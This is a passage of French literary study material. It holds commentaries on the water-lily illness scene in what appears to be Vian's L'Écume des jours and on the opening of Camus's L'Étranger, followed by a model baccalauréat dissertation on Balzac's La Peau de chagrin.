Le nénuphar est une plante qui grandit et s’épanouit dans une mare ou dans un étang. Cette plante se distingue des autres par sa grande taille et son potentiel de croissance. De plus, il produit une fleur lorsqu’il est à son terme de croissance. Le fait qu’une plante avec un gros potentiel de croissance et de fleuraison pousse dans un poumon laisse immédiatement le lecteur penser qu’il s’agit d’une tumeur. La précision de Colin quant à la taille déjà importante du nénuphar et au fait de pouvoir “en venir au bout” explicite ceci. Toutefois, le terme “tumeur” n’est jamais utilisé. Enfin, la maladie est toujours présentée sous la forme de cette image d’une grande beauté. Cela donne un caractère doux et poétique au cancer de Chloé.

I.2. Le froid, les fleurs et l’eau : le traitement de la maladie

Pour venir à bout du nénuphar qui grandit au niveau du poumon de Chloé, le docteur préconise trois choses : le froid, l’entourer de fleurs et ne lui donner que très peu d’eau (“Le docteur veut qu’elle aille à la montagne, dit Colin. Il prétend que le froid tuera cette saleté” l 34, “il faut tout le temps mettre des fleurs autour d’elle, ajouta Colin, pour faire peur à l’autre” l 37, “Il ne faut pas qu’elle boive” l 46, “deux cuillerées par jour”).

Pour le froid et l’eau, c’est ce qu’on ferait pour faire mourir une plante ou une fleur. Et le fait de “faire peur” au nénuphar avec une multitude de fleurs personnifie les plantes et apporte de la couleur au récit. Ces métaphores peuvent nous faire penser aux cliniques à la montagne, à la chimiothérapie et à l’action des anticorps contre la tumeur. L’idée est donc de cesser d’alimenter la tumeur pour la faire mourir. De nouveau, la chimiothérapie n’est jamais évoquée dans le texte. L’auteur poétise le traitement du nénuphar, donne une image vivante et esthétique de la maladie et de son traitement.

I.3. Le froid et la soif // la douleur liée au traitement

Dans un passage antérieur à celui-ci, Chloé sent un froid immense envahir son corps. C’est à ce moment-là que Colin se met à s’inquiéter pour la santé de sa bien-aimée et qu’il décide d’aller chez le docteur avec elle pour voir ce qui ne va pas. Nous pourrions assimiler ceci aux douleurs thoraciques causées par une tumeur au poumon. Chloé sent aussi son nénuphar “bouger”, ce qui lui fait très mal (“ça fait tellement mal quand il bouge ! ! !” l 29). L’analogie peut être faite avec les douleurs liées au développement de la tumeur.

Enfin, sa fatigue et sa soif liées au traitement du nénuphar (elle n’a droit qu’à deux cuillerées d’eau par jour et, à la fin du roman, ne parvient plus à sortir de son lit tant le nénuphar l’affaiblit) sont semblables à la fatigue et à l’absence d’appétit des patients atteints du cancer. Ainsi, toujours de manière imagée, l’auteur présente le traitement de Chloé en reprenant implicitement des éléments de la réalité. Cette omniprésence des images offre un point de vue poétique sur les sensations du malade atteint d’un cancer du poumon.

II. Le tragique caché sous l’évocation très imagée 

II.1. Le cancer

Bien que l’auteur évoque la tumeur avec l’image du nénuphar en voie de fleuraison et le traitement avec des fleurs et une privation d’eau, la réalité cachée derrière cette image est tragique. Le cancer est une maladie grave, douloureuse et souvent incurable. D’où le caractère tragique du dialogue au sujet du nénuphar (“- Oh ! Ça ne pouvait pas être pire ! ” dit Colin.” l 6, “Il est déjà assez grand, mais, enfin, on doit pouvoir en venir à bout.” l 25, “si il fleurit, dit Colin, il y en aura d’autres.” l 37). On sent dans les paroles de Colin la gravité de la maladie de Chloé et l’ampleur croissante de la maladie. Le cancer est donc bien présent dans le texte et il amplifie le caractère tragique du texte.

II.2. L’inefficacité des traitements contre la tumeur

Bien qu’il ne soit jamais explicitement dit qu’il s’agit d’une chimiothérapie douloureuse et inefficace, le lecteur comprend la situation dans laquelle est Chloé. Et bien que le traitement de la maladie soit lui aussi présenté sous forme de métaphores, il semble impuissant comme la chimiothérapie contre un cancer à un stade trop avancé pour être traité. Par exemple, les formulations comme “On l’a vu sur l’écran. Il est déjà assez grand, mais, enfin, on doit pouvoir en venir à bout.” (l 25), “Le docteur veut qu’elle aille à la montagne, dit Colin. Il prétend que le froid tuera cette saleté…” (l 34) ou “si il fleurit, dit Colin, il y en aura d’autres. Mais, on ne le laissera pas fleurir…” (l 37) montrent en filigrane l’inefficacité du traitement. “On doit pouvoir”, “il prétend que” et “si il fleurit” sont des signes annonciateurs de l’échec du traitement.

Et en effet, au fil des pages, Chloé va dépérir. Ainsi, sa guérison déjà perdue d’avance est tragique.

II.3. Les sentiments des personnages, l’impuissance et la douleur

Enfin, la force et le caractère tragique des sentiments exprimés par les personnages créent une ambiance de mort annonciatrice de la mort de Chloé. C’est d’abord Chloé qui, par son attitude, révèle la gravité de sa situation : “Chloé pleurait toujours dans la fourrure blanche” (l 2). Elle continuera de pleurer et de se lamenter tout au long du passage : “Chloé, recroquevillée dans un coin de la voiture, mordait ses poings. Ses cheveux lustrés lui tombaient sur la figure et elle piétinait sa toque de fourrure. Elle pleurait de toutes ses forces, comme un bébé, mais sans bruit.” (l 9-11), “ses pauvres yeux affolés et sentait son cœur battre à coups sourds et lents dans sa poitrine.” (l 13-14), “- Vous ne pouvez pas savoir ce que c’est, sanglota Chloé, ça fait tellement mal quand il bouge ! ! !” (l 29), “Il sentait Chloé pleurer contre lui” (l 45).

On la sent désemparée, tétanisée et endolorie. Sa douleur est sourde, tout comme sa manière de pleurer. Ce contraste entre l’intensité de sa peur, de sa douleur et le silence qui entoure sa douleur (elle s’exprime très peu dans le dialogue) renforce le caractère tragique du personnage.

Quant à Colin, il a lui l’air d’un “homme mort” (l 2). Son inquiétude est aussi grande que sa culpabilité et son sentiment d’impuissance face à la douleur de sa bien-aimée. (“- Oh ! Ça ne pouvait pas être pire ! ” dit Colin.” l 6, “Il se rendit compte de ce qu’il venait de dire et regarda Chloé. Il l’aimait tellement en ce moment qu’il se serait tué pour son imprudence.” l 7-9, ” Pardonne-moi, ma Chloé, dit Colin. Je suis un monstre. ” l 12, “Il sentait Chloé pleurer contre lui et il haïssait la torture qu’il allait devoir lui infliger.” l 45, “on doit pouvoir en venir à bout.” l 25).

Il représente la douleur du conjoint impuissant face à la maladie possiblement incurable de sa femme. Sa délicatesse, ses égards pour Chloé montrent l’étendue de son amour et de sa douleur. Ils ressemblent presque à Roméo et Juliette, un couple tragique dont l’amour est empêché par la mort. Ainsi, bien que l’omniprésence des images semble au premier abord embellir la tumeur et la douleur de Chloé, le tragique de cette scène est renforcé par le cadre surréaliste et l’attitude des personnages.

Dans le cas présent, il faut tout d’abord revenir sur le caractère métaphorique de l’évocation de la maladie de Chloé. En effet, les images et métaphores sont omniprésentes, créant un monde surréaliste et absurde. Ensuite, mettre en lumière le tragique qui se cache derrière cette métaphorisation de la maladie. Ces métaphores semblent renforcer le poids de la maladie.

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L’Étranger , Albert Camus, exemple d’incipit

L’extrait choisi est tiré du roman d’Albert Camus, L’Étranger, paru 1942. Il s’agit de l’incipit (début) du roman. Cet exemple est particulièrement intéressant : d’une part, il s’agit d’un  incipit . D’autre part, il met en scène une situation déroutante où la platitude d’un texte tranche avec la violence de l’histoire, dissociant fond et forme.

Commentaire composé  L’Étranger , Albert Camus

Dans le cas présent, l’extrait est tiré d’un roman d’Albert Camus, L’étranger (1942). C’est l’incipit de l’œuvre. C’est un texte narratif dont le narrateur est personnage. Le style y est plat avec une apparence d’objectivité malgré la gravité des faits énoncés. C’est un registre du quotidien. Le texte se structure en deux parties, tout d’abord l’énonciation d’un fait “Aujourd’hui, maman est morte”) puis le récit des actions du fils en réaction à ce fait. Ensuite, nous étudierons la figure du personnage principal, les différents points de vue sur le fait relaté puis le rôle de l’incipit.

Dans quelle mesure cet extrait au style plat et énonciatif, ce récit apparemment sans émotion qui contraste avec la dureté du fait énoncé, met en lumière le caractère résolument tragique et moderne de l’oeuvre ?

I. Le personnage principal

I.1. Un jeune homme

Nous ne savons que peu de choses du narrateur.

Premier élément : nous savons qu’il travaille (“J’ai demandé deux jours de congé à mon patron et il ne pouvait pas me les refuser avec une excuse pareille.” l 4-5), qu’il mange tous les jours au même restaurant, qu’il n’a pas de vêtements appropriés pour un enterrement (“il a fallu que je monte chez Emmanuel pour lui emprunter une cravate noire et un brassard.” l 16-17)

Maus qu’il a peu de moyens ; ainsi et que sa mère vivait depuis trois ans dans un asile et vient de mourir (” Mme Meursault est entrée ici il y a trois ans. Vous étiez son seul soutien. ” (…) ” Vous n’avez pas à vous justifier, mon cher enfant. J’ai lu le dossier de votre mère. Vous ne pouviez subvenir à ses besoins. Il lui fallait une garde. Vos salaires sont modestes.” sont les mots du directeur de l’asile de la ligne 28 à 32)

Enfin, nous pouvons remarquer qu’il est jeune (” Vous savez, elle avait des amis, des gens de son âge. Elle pouvait partager avec eux des intérêts qui sont d’un autre temps. Vous êtes jeune et elle devait s’ennuyer avec vous. ” l 33-35). Cette description de sa vie, faite en filigrane à travers ses paroles et celles des autres personnages du roman, est assez peu développée.

I.2. Une relation difficile au monde

Toutefois, nous connaissons une particularité du caractère de ce personnage : il a une relation plutôt distante et conflictuelle au monde.

Nous le voyons tout d’abord à son rapport avec son patron (” il n’avait pas l’air content. Je lui ai même dit : “Ce n’est pas de ma faute.” II n’a pas répondu. J’ai pensé alors que je n’aurais pas dû lui dire cela. En somme, je n’avais pas à m’excuser. C’était plutôt à lui de me présenter ses condoléances. Mais il le fera sans doute après-demain, quand il me verra en deuil.” l 7-10).

De même avec son entourage, des amis avec qui il garde ses distances malgré ce qui lui arrive (“J’ai mangé au restaurant, chez Céleste, comme d’habitude. Ils avaient tous beaucoup de peine pour moi et Céleste m’a dit : ” On n’a qu’une mère. ” Quand je suis parti, ils m’ont accompagné à la porte. J’étais un peu étourdi parce qu’il a fallu que je monte chez Emmanuel pour lui emprunter une cravate noire et un brassard.” l 13-17).

Quant à son rapport aux inconnus, nous le connaissons par le biais de son attitude avec le militaire qu’il rencontre dans le bus (“J’ai dormi pendant presque tout le trajet. Et quand je me suis réveillé, j’étais tassé contre un militaire qui m’a souri et qui m’a demandé si je venais de loin. J’ai dit ” oui ” pour n’avoir plus à parler.” l 20-22). De même, lorsque le directeur de l’asile s’adresse à lui, il croit tout de suite qu’il lui reproche de ne pas avoir assez été là pour sa mère. Ainsi, le personnage principal garde ses distances avec le monde extérieur et ne s’en rapproche que lorsqu’il n’a pas le choix, à reculons.

II. Les points de vue sur le fait relaté

II.1. Le point de vue du protagoniste

Le point de vue du protagoniste sur la mort de sa mère est très déstabilisant pour le lecteur. Il prend une distance considérable avec ce fait et en parle avec détachement, apparement sans émotions. Par exemple : “Aujourd’hui, maman est morte. Ou peut-être hier, je ne sais pas. J’ai reçu un télégramme de l’asile : “Mère décédée. Enterrement demain. Sentiments distingués.” Cela ne veut rien dire. C’était peut-être hier.” (l 1-3). Il évoque son voyage et l’enterrement de sa mère de manière très formelle, toujours sans émotion apparente : “Je prendrai l’autobus à deux heures et j’arriverai dans l’après-midi. Ainsi, je pourrai veiller et je rentrerai demain soir.” (l 4-5), “Pour le moment, c’est un peu comme si maman n’était pas morte. Après l’enterrement, au contraire, ce sera une affaire classée et tout aura revêtu une allure plus officielle.” (l 10-12).

De même, lorsqu’il entre dans l’asile où sa mère est décédée, le passage obligé par l’attente et la rencontre avec le directeur ne sont pas évoqués avec sentimentalisme de la part du personnage. Le fait relaté prend ainsi parfaitement l’allure d’un fait plutôt que de la perte d’un être cher.

II.2. Le point de vue de son entourage

Le point de vue de l’entourage du protagoniste est bien différent de celui du personnage principal. Céleste, ainsi que les autres personnages présents dans le restaurant avec le personnage principal, donnent beaucoup d’importance à ce décès. (“Ils avaient tous beaucoup de peine pour moi et Céleste m’a dit : ” On n’a qu’une mère. ” Quand je suis parti, ils m’ont accompagné à la porte.” l 14-15). En effet, un autre ami lui prête même une cravate noire et un brassard pour qu’il puisse aller dignement à l’enterrement de sa mère. L’entourage du protagoniste est donc très concerné par cette mort et exprime des sentiments forts à ce sujet.

II.3. Le point de vue du directeur de l’asile

Enfin, le directeur de l’asile propose un point de vue consolateur et pragmatique sur la mort de sa patiente. Il revient tout d’abord sur la relation entre la mère et son fils (“Vous étiez son seul soutien.” l 29). Il est ensuite conciliant et compréhensif avec le fils (” Vous n’avez pas à vous justifier, mon cher enfant. J’ai lu le dossier de votre mère. Vous ne pouviez subvenir à ses besoins. Il lui fallait une garde. Vos salaires sont modestes. Et tout compte fait, elle était plus heureuse ici.” l 30-33). On sent ici le désir de rassurer et d’apaiser le personnage principal. Une note de joie est même présente dans son discours (“Vous savez, elle avait des amis, des gens de son âge. Elle pouvait partager avec eux des intérêts qui sont d’un autre temps.” l 33-35). En réalité, ce qui est intéressant dans ce point de vue est la disparition (hormis en ce qui concerne le recours aux temps du passé) de la mort de la mère face à l’évocation de la fin de sa vie. C’est un point de vue plus conciliant et apaisant sur le décès de la mère du protagoniste.

III. Le rôle de l’incipit

III.1. La présentation du personnage principal

Un incipit a pour fonction initiale la présentation introductive du ou des personnages principaux. Toutefois, cet incipit est assez particulier, car, comme nous l’avons vu en première partie, nous avons peu d’informations sur le personnage principal du roman. Nous ne savons rien de son apparence physique. Ce que nous savons concerne son niveau de vie, sa mère et sa relation au monde. En ce sens, cet incipit ne remplit pas tout à fait sa fonction. Ceci annonce la particularité stylistique et la modernité du roman qui est centré sur un “inconnu”, tant pour les autres personnages du roman que pour le lecteur.

III.2. La présentation du cadre spatio-temporel

L’incipit a pour deuxième fonction essentielle la présentation du cadre spatio-temporel du récit. En ce qui concerne le temps, nous n’avons que très peu d’informations. Les termes “aujourd’hui”, “hier” ou “dans deux jours” ne nous situent pas précisément dans le temps. En revanche, nous savons que le protagoniste évolue dans un cadre spatial plutôt restreint et voyage peu. Il va tous les jours dans le même restaurant et travaille habituellement tous les jours (ses jours de repos sont exceptionnels). Nous avons peu d’informations sur les espaces qu’il fréquente, mais nous connaissons les éléments essentiels de sa vie à l’extérieur.

III.3. Le ton froid, l’annonce du style moderne de l’œuvre

Le ton plat, froid et apparemment sans émotions qu’adopte le narrateur personnage est très particulier, unique dans la littérature française. C’est un élément certain de modernité. Prenons un exemple : “Aujourd’hui, maman est morte. Ou peut-être hier, je ne sais pas.” (l 1-2). Ces phrases basiques sans intonation particulière sont caractéristiques de l’écriture résolument moderne de ce roman qui ressemble presque à un journal de bord. Cependant, il nous faut préciser que ce style en apparence sans émotion cache le caractère tragique de la scène : cette prise de distance de la part du narrateur par rapport à la mort de sa mère est sa manière de faire face à la situation. En effet, des indices montrent qu’il a des émotions qu’il n’exprime pas (son empressement à prendre le bus ou sa hâte au moment de voir sa mère par exemple).

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Dissertation sur La Peau de chagrin !

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Voici un exemple de dissertation rédigée sur La Peau de chagrin de Balzac ( parcours au bac de français : Les romans de l’énergie : création et destruction).

Important : Pour faciliter ta lecture, le plan de cette dissertation est apparent et le développement présenté sous forme de liste à puces. N’oublie pas que le jour J, ton plan et ton développement doivent être intégralement rédigés !

Selon vous, le roman La Peau de chagrin nous invite-t-il à économiser notre énergie vitale ?

Pour que ce corrigé te soit utile, entraîne-toi avant à réaliser ce sujet avec ma fiche et mes vidéos sur La Peau de chagrin !

Introduction

La Peau de chagrin , roman d’Honoré de Balzac publié en 1831, fait partie de la fresque La Comédie humaine . Mais son registre fantastique et sa portée philosophique en font une œuvre à part. Succomber au désir pour vivre intensément , ou y renoncer pour atteindre la sagesse , tel est le choix auquel Raphaël de Valentin doit faire face. La force de la vie symbolisée par la peau de chagrin, est alors mise à l’épreuve par un rapport complexe au désir.

Dans quelle mesure le roman invite-t-il le lecteur à économiser son énergie vitale dont le désir est le socle ?

Du grec enargeia , la force agissante du personnage principal le pousse à voir le monde sous le prisme du désir. Si ce dernier peut être moteur de l’énergie vitale, poussé à l’extrême, il peut néanmoins conduire à sa destruction.

I – Dans le roman, le désir peut être moteur de l’énergie vitale…

Il ne s’agit donc pas d’économiser l’énergie vitale mais de prendre conscience de son fonctionnement et d’en profiter pour se sentir acteur de sa vie.

A – Le désir est le moteur l’énergie vitale

• Le message de la peau de chagrin est le suivant : «  Dieu l’a voulu ainsi, désire, et tes désirs seront accomplis  ». Le désir est donc le moteur de l’énergie vitale , le guide de nos vies.
• Le roman de Balzac établit un lien de cause à effet  entre la satisfaction des désirs et rétrécissement de la peau . Le désir consomme donc bien l’énergie vitale.
• On peut faire un parallèle avec La Métaphysique d’Aristote , pour qui l’homme cherche à connaître le monde par l’expérience, c’est-à-dire la perception des sens et le plaisir qui en découle.

B – Le désir est un signe de vie

• Au début du roman , Raphaël de Valentin, qui déambule dans Paris, au bord du suicide après avoir perdu son argent au jeu, est sans désir. L ‘absence de désir correspond alors à une absence de volonté de vivre .
• Au cours du roman, les désirs matériels sont au centre de la vie de Raphaël (théâtre, orgie, jeu). Il s’agit d’une course effrénée.
• A la fin du roman, Raphaël de Valentin perd le désir et vit reclus. Son dernier désir, celui de vivre , arrive trop tard.

C – Le désir amoureux est ambigu

• Plusieurs femmes sont l’objet du désir amoureux  : la comtesse Foedora et Pauline. Les effets produits par le désir amoureux pour chacune de ses deux femmes est toutefois différent.
• Le désir amoureux pour Foedora est de l’ordre de la passion (à comprendre dans sa double étymologie : désir et souffrance – du latin patior, eris, i qui signifie souffrir). Du refus de la comtesse découle un désir sans borne du corps, une débauche .
• L ’amour pur et innocent partagé avec Pauline met fin à cette débauche. Le désir amoureux peut donc mener à la destruction ou à l’ apaisement .

II – Mais poussé à l’extrême, le désir conduit à la destruction de l’énergie vitale

A – la mort comme issue inexorable au désir.

• La peau de chagrin énonce une mise en garde au début du roman : il n’y a pas de longévité possible pour celui qui multiplie les désirs. C’est le vieillissement prématuré : «  Désire, et tes désirs seront accomplis. Mais règle tes souhaits sur ta vie. Elle est là. À chaque vouloir, je décroîtrai comme tes jours « .
• La métaphore du rétrécissement physique de la peau suggère que le désir épuise l’énergie vitale.
• On peut faire un parallèle avec Le Portrait de Dorian Gray d’Oscar Wilde  : le tableau s’enlaidit au gré de la course aux plaisirs et vieillit progressivement à la place de Dorian, préfigurant ainsi sa propre mort.

B – La destruction de l’âme comme conséquence du désir

• L’hédonisme de Raphaël de Valentin est matérialiste , centré sur l’acquisition de plaisirs matériels .  Cette philosophie de vie fait écho à celle du personnage Lui dans Le Neveu de Rameau de Diderot pour qui le plaisir individualiste prime sur le collectif (thèse portée par le personnage Moi).
• La multiplication des désirs mondains et fugaces est un moteur du roman : amour, gloire, richesse, ambition. Mais ils apparaissent comme comme des péchés, vidant l’âme de Raphaël de Valentin .
• Le désir de puissance démesuré (hybris grecque) mène à la mort . On retrouve dans la littérature du XIXme siècle d’autres héros trop ambitieux dont les désirs disproportionnés mènent à une issue fatale. C’est le cas par exemple de Julien Sorel dans Le Rouge et le Noir de Stendhal.

C – De la nécessité de vivre en modérant ses désirs

• La portée morale et critique du roman est la suivante : il s’agit d’une condamnation de l’hédonisme à tout prix, des désirs disproportionnés et matérialistes. La poursuite éperdue de la richesse et du succès épuise notre énergie vitale .
• La course aux désirs diminue l’énergie vital e du personnage principal et le conduit à sa propre perte. Rien (un ultime désir de vie) ni personne (Pauline) ne pourra le sauver.
• Les désirs peuvent en revanche être modérés pour économiser l’énergie vitale . C’est le choix réalisé par l’Antiquaire : «  SAVOIR laisse notre faible organisation dans un perpétuel état de calme. « 

Le roman d’Honoré de Balzac entretient un rapport complexe au désir . Tantôt signe d’une énergie vitale sans pareille, tantôt annonciateur d’une mort prématurée, il est au cœur du destin de Raphaël de Valentin. C’est par lui que le personnage agit sur le monde et sur lui-même.

A l’instar de Raphaël de Valentin, Bel-Ami , chez Maupassant , est avide de réussite et se construit grâce à son énergie vitale dénuée de tout scrupule. Mais, sans doute plus cynique, la fin ouverte du roman de Maupassant laisse suggérer la poursuite de l’ascension sociale de son personnage principal, et non sa mort.

Analyses d’extraits de la Peau de chagrin :

• La découverte de la peau de chagrin chez l’antiquaire (partie I)
• La leçon de sagesse du vieillard (vouloir, pouvoir et savoir) (partie I)
• La Peau de chagrin, Raphaël scelle le pacte avec la peau (partie I)
• La Peau de chagrin, réponse du vieillard suite au pacte maudit (partie I)
• Le portrait d’Euphrasie (partie I)
• La Peau de chagrin, dialogue entre Raphaël et Emile (partie I)
• Foedora, la fascination d’un nom (partie II)
• Le portrait de Foedora (partie II)
• Raphaël et Foedora, deux mondes incompatibles (partie II)
• La peau de chagrin à l’épreuve de la science (partie III)
• La Peau de chagrin, l’agonie de Raphaël, excipit (partie III)

Autres dissertations rédigées :

• Dissertation sur Manon Lescaut
• Dissertation sur Sido et Les Vrilles de la vigne
• Dissertation sur Juste la fin du monde
• Dissertation sur Le Malade imaginaire
• Dissertation sur Les Fausses confidences
• Dissertation sur Gargantua
• Dissertation sur Les Caractères
• Dissertation sur La Déclaration d’Olympe de Gouges
• Dissertation sur Cahiers de Douai
• Dissertation sur Mes forêts
• Dissertation sur La Rage de l’expression

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